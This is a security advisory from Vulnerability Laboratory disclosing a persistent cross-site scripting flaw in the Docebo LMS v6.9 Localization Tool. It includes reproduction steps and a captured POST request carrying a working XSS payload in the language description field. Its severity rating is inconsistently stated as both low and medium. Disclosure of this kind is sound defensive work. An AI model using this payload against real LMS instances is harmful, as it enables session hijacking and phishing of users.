Document Title: =============== Docebo LMS v6.9 - (Localization) Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1880 Release Date: ============= 2016-12-21 Vulnerability Laboratory ID (VL-ID): ==================================== 1880 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== Docebo is a SAAS/Cloud platform for e-learning, also known as a learning management system.From the Latin word, docere. Docebo is used for corporate learning and has interfaces for videoconferencing and HR systems. Using an online system for learning and training cuts down time needed and costs that would be used on such things as printing and distributing materials. (Copy of the Vendor Homepage: https://www.docebo.com/learning-management-system-lms/ & https://en.wikipedia.org/wiki/DoceboLMS ) Abstract Advisory Information: ============================== A vulnerability laboratory core team researcher discovered an application-side cross site scripting vulnerability in the DoceboLMS content management system. Vulnerability Disclosure Timeline: ================================== 2016-12-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Docebo Product: Docebo LMS - Content Management System (Web-Application) 6.9 Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ A persistent cross site scripting web vulnerability has been discovered in the official Docebo LMS v6.9 web-application. The vulnerability allows remote attackers to inject own malicious script code to the application-side of the vulnerable module. The vulnerability is located in application language interface module `Admin - Localization Tool`. Users with admin access rights or super users are able to inject their own payload through editing the Description field of any language. The execution of the malicious payload can occur in the main LMS subdomain `SUB.docebosaas.com/lms/` with the `CoreLangLanguage%5Blang_description%5D` parameter. The request method to inject is POST and the attack vector is located on the application-side of the lms content management system. Due to our investigation, we discovered that the impact is occured on any registered users or even a subdomain visitor who are viewing the infected subdomain main Login interface. for ex: http://SUBDOMAIN.docebosaas.com/lms/ The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] /admin/?r=langManagement/updateLang Vulnerable Parameter(s): [+] CoreLangLanguage%5Blang_description%5D Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Admin or superusers goes into : https://lms.localhost:8080/admin/index.php?r=langManagement/index or 'Admin - Localization Tool' 2. Then click on edit option for any language they desire . 3. Inject your own payload : '> 4. Successfully reproduce of the issue with remote link as subdomain! --- PoC Session Logs [POST] --- POST /admin/?r=langManagement/updateLang&langcode=arabic&YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b HTTP/1.1 Host: vulnlab.docebosaas.com User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://vulnlab.docebosaas.com/admin/index.php?r=langManagement/index Content-Length: 266 Cookie: __distillery=v20150227_1d8495ec-1a8c-416f-a9ba-ea7af2daaa38; backend_eu_west_1_saas=1; docebo_session=tt6j4k7ek1u772ge704s26jen1; YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b Connection: keep-alive YII_CSRF_TOKEN=a12e842401f26b2eb0b21b342d5e1d5c42aa714b&CoreLangLanguage%5B lang_description%5D=Arabic'%3E%3Cimg+src%3Dx+onerror%3Dprompt(%22pwnd%22)&CoreLangLanguage%5Blang_direction%5D=&CoreLangLanguage%5B lang_direction%5D=rtl&CoreLangLanguage%5Bset_as_default%5D=0 - Response: HTTP/1.1 200 OK Server: openresty Date: Sun, 24 Jul 2016 22:31:19 GMT Content-Type: application/json; charset="UTF-8" Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.9-1ubuntu4.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Front-End-Https: on Set-Cookie: backend_eu_west_1_saas=1; path=/; Front-End-Https: on Reference(s): https://lms.localhost:8080/ https://lms.localhost:8080/admin/ https://lms.localhost:8080/admin/index.php https://lms.localhost:8080/admin/index.php?r=langManagement/index Security Risk: ============== The security risk of the application-side input validation web vulnerability in the lms web-application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer [http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™